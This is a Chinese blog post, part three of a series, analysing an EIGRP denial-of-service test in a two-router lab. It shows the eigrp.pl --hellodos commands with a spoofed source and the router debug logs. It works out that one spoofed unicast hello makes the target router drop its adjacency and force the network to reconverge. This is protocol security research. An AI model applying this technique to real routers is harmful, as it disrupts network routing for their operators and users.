Eigrp恶意插入路由和致瘫***测试（三）
 

四、***eigrp方式一

对于这个话题，著名的设备***FX曾经很早就做过一次dos演示，但是没有公开技术细节。我们从改脚本的幕后信息了解到，核心思想是从多个伪造的源IP向eigrp路由器泛洪hello数据，导致目标路由器开始搜索这些新邻居，引发arp风暴。最终导致网络和设备宕机。
 
我们来进行下测试：
./eigrp.pl --hellodos 192.168.1.0 --source 192.168.1.249
解释一下，hellodos参数为伪造源的网段，source的意思就是伪造hello的源地址。
屏幕开始翻滚，从192.168.1.1开始顺序递增，我们看下路由器的反应：
 
R0#
*Mar  3 04:49:36.670: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is down: Remote peer static/dynamic
*Mar  3 04:49:38.178: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is up: new adjacency
 
R1#
*Mar  3 04:49:36.166: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is down: Interface Goodbye received
*Mar  3 04:49:37.762: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is up: new adjacency
 
可以看出，***数据发出后，R1首先得到R0挂掉的消息（Goodbye，这个cisco设计的有意思，路由器成了人语者，呵呵），其实它的官方术语叫妥善关闭。这是cisco为了将eigrp设计为快速收敛的网络而煞费苦心创建的，理由是为了避免要等待计时器超时，任何eigrp进程在关闭时都将广播一条goodbye，告知其他设备你们不用等了。问题是，这个网络里面什么东西触发了251，也就是R0发送了goodbye？真的是arp的dos么？
 
1、***脚本干了什么？
在36出来的路上抓包看看：
我们在pl脚本运行后，发现网内出现了大量的arp包，仔细观察，查询的目标地址在192.168.1.0/24循环，循环三次后递增到下一个C类。可以非常明确的看出，***源在查询网内的目标的mac地址！好，问题也就出来了，按照常规，我们对DoS的理解，是伪造不同的源地址对某个或某几个特定的目标进行轰炸，而非单一源对整个网段的***。因此，可以肯定的是，这个脚本参数的真正原理绝非是泛洪式的拒绝服务，而是针对目标发送了相应的数据包导致路由器宕机的。果不其然，在反复测试几次后，R0都规律性的瞬间宕机，而非慢慢的资源耗尽的宕机，可见是不正常的数据包所致。
 
那么***脚本在网内查询到R0和R1的地址后又做了什么呢？抓包分析：
可以看到，真正的eigrp组播都已红色表示，黑色的是icmp的不可达返回，浅×××的就是脚本的***包了。也就是说，其实脚本发出的包总共就两个，因为网内就这两个地址可以arp解析到。
按照时间顺序，我们来梳理下过程（已在路由上打开debug ip eigrp、debug ip pack、debug ei fsm、debug ei pack；时钟已同步）：
 
1、首先，网内只有正常的hello邻居保持协商：
R0
Feb  1 07:02:28.057: IP: s=192.168.1.251 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb  1 07:02:28.061: EIGRP: Sending HELLO . FastEthernet0/0
Feb  1 07:02:28.061:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
 
Feb  1 07:02:29.648: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb  1 07:02:29.656: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb  1 07:02:29.660:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
 
R1
Feb  1 07:02:28.066: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb  1 07:02:28.074: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.251
Feb  1 07:02:28.078:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
 
Feb  1 07:02:29.590: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb  1 07:02:29.594: EIGRP: Sending HELLO . FastEthernet0/0
Feb  1 07:02:29.594:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
我们先看看正常的hello包：
 
2、紧接着，脚本送出了第一个249到249的包：
完全正常的格式，和路由器发出的hello包没什么不同，唯一的区别就是目的地址不再是组播224.0.0.10，而是一个实际的地址。
 
那么249收到后如何反应？
R1
Feb  1 07:02:45.562: IP: tableid=0, s=192.168.1.249 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), routed via RIB
Feb  1 07:02:45.562: IP: s=192.168.1.249 (FastEthernet0/0), d=192.168.1.249 (FastEthernet0/0), len 60, rcvd 3
Feb  1 07:02:45.566: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb  1 07:02:45.566:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0
Feb  1 07:02:45.566: EIGRP: Packet from ourselves ignored
 
R1处理了这个包，并且忽略了它；这里说明了两个问题，首先是eigrp设计为能够处理单播的hello数据；其次这个包并不是引发路由器问题的原因。
 
3、随后，脚本又送出了一个249到251的包。
 
看看R0如何反应的？
R0
Feb  1 07:02:45.840: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is down: Remote peer static/dynamic
Feb  1 07:02:45.840: DUAL: linkdown: start - 192.168.1.249 via FastEthernet0/0
Feb  1 07:02:45.848: DUAL: Destination 192.168.0.0/16
Feb  1 07:02:45.848: DUAL: Destination 172.16.0.0/16
Feb  1 07:02:45.848: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb  1 07:02:45.848: DUAL:      192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb  1 07:02:45.848: DUAL: Peer total 0 stub 0 template 0
Feb  1 07:02:45.848: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb  1 07:02:45.852: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb  1 07:02:45.856: DUAL: No routes.  Flushing dest 172.16.0.0/16
Feb  1 07:02:45.864: DUAL: linkdown: finish
……后面就开始重新协商
 
那么接下来R1在干什么？
R1
Feb  1 07:02:46.062:        Inteface goodbye received
Feb  1 07:02:46.062: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is down: Interface Goodbye received
Feb  1 07:02:46.062: DUAL: linkdown: start - 192.168.1.251 via FastEthernet0/0
Feb  1 07:02:46.062: DUAL: Destination 192.168.0.0/16
Feb  1 07:02:46.062: DUAL: Destination 172.16.0.0/16
Feb  1 07:02:46.062: DUAL: Destination 172.16.0.0/24
Feb  1 07:02:46.066: DUAL: linkdown: finish
……后面就开始重新协商
 
看起来好像是R1收到了R0的goodbye了，抓包为证：
果不其然。
 
4、分析：
目前为止看起来，应当是R0也就是251在收到一条249->251的hello信息后，直接判断为目标down，理由是Remote peer static/dynamic，随后马上中止了路由选择；紧接着向R0发送goodbye，迫使R1也终止了路由选择。
由于小家子气的cisco没有公布eigrp的细节，我们不得而知究竟eigrp对对端稳定性的判断标准是什么，但是可以肯定的是，这个脚本是通过仅仅这么一个数据包引起了eigrp的重新收敛。
这时有人会提出问题了，你怎么就知道是249->251的这个数据包而非249->249这个数据包引发的致瘫呢？因为也有可能是R0收到249->249的包，虽然报告了ignored，但是已经触发了不正常的数据，而导致R1做出了目标down的判断？
我也有一样的疑问，所幸的是，这个***脚本具备一个说明里没提到的参数，就是指定网络范围，我们下面将***起始地址往上抬，从250开始，这样就不会发出249的包，也就可以验证问题了。
./eigrp.pl --hellodos 192.168.1.250 --source 192.168.1.249
现象一摸一样。我们将debug信息完整贴上：
R0
Feb  1 07:32:18.353: IP: s=192.168.1.249 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb  1 07:32:18.365: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb  1 07:32:18.369:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb  1 07:32:18.509: IP: tableid=0, s=192.168.1.249 (FastEthernet0/0), d=192.168.1.251 (FastEthernet0/0), routed via RIB
Feb  1 07:32:18.513: IP: s=192.168.1.249 (FastEthernet0/0), d=192.168.1.251 (FastEthernet0/0), len 60, rcvd 3
Feb  1 07:32:18.525: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.249
Feb  1 07:32:18.529:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb  1 07:32:18.533: IP: s=192.168.1.251 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb  1 07:32:18.537: EIGRP: Sending HELLO . FastEthernet0/0
Feb  1 07:32:18.541:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
Feb  1 07:32:18.541: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.249 (FastEthernet0/0) is down: Remote peer static/dynamic
Feb  1 07:32:18.545: DUAL: linkdown: start - 192.168.1.249 via FastEthernet0/0
Feb  1 07:32:18.553: DUAL: Destination 192.168.0.0/16
Feb  1 07:32:18.561: DUAL: Destination 172.16.0.0/16
Feb  1 07:32:18.561: DUAL: Find FS for dest 172.16.0.0/16. FD is 307200, RD is 307200
Feb  1 07:32:18.565: DUAL:      192.168.1.249 metric 4294967295/4294967295 not found Dmin is 4294967295
Feb  1 07:32:18.569: DUAL: Peer total 0 stub 0 template 0
Feb  1 07:32:18.569: DUAL: Dest 172.16.0.0/16 (No peers) not entering active state.
Feb  1 07:32:18.573: DUAL: Removing dest 172.16.0.0/16, nexthop 192.168.1.249, infosource 192.168.1.249
Feb  1 07:32:18.577: DUAL: No routes.  Flushing dest 172.16.0.0/16
Feb  1 07:32:18.585: DUAL: linkdown: finish
 
R1
Feb  1 07:32:18.393: IP: s=192.168.1.249 (local), d=224.0.0.10 (FastEthernet0/0), len 60, sending broad/multicast
Feb  1 07:32:18.397: EIGRP: Sending HELLO . FastEthernet0/0
Feb  1 07:32:18.401:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0
Feb  1 07:32:18.917: IP: s=192.168.1.251 (FastEthernet0/0), d=224.0.0.10, len 60, rcvd 2
Feb  1 07:32:18.925: EIGRP: Received HELLO . FastEthernet0/0 nbr 192.168.1.251
Feb  1 07:32:18.925:   AS 1, Flags 0x0, Seq 0/0 idbQ 0/0 iidbQ un/rely 0/0 peerQ un/rely 0/0
Feb  1 07:32:18.925:        Inteface goodbye received
Feb  1 07:32:18.925: %DUAL-5-NBRCHANGE: IP-EIGRP(0) 1: Neighbor 192.168.1.251 (FastEthernet0/0) is down: Interface Goodbye received
Feb  1 07:32:18.925: DUAL: linkdown: start - 192.168.1.251 via FastEthernet0/0
Feb  1 07:32:18.925: DUAL: Destination 192.168.0.0/16
Feb  1 07:32:18.925: DUAL: Destination 172.16.0.0/16
Feb  1 07:32:18.925: DUAL: Destination 172.16.0.0/24
Feb  1 07:32:18.925: DUAL: linkdown: finish
 
然而目前我们的判断是背后真正的原因么？？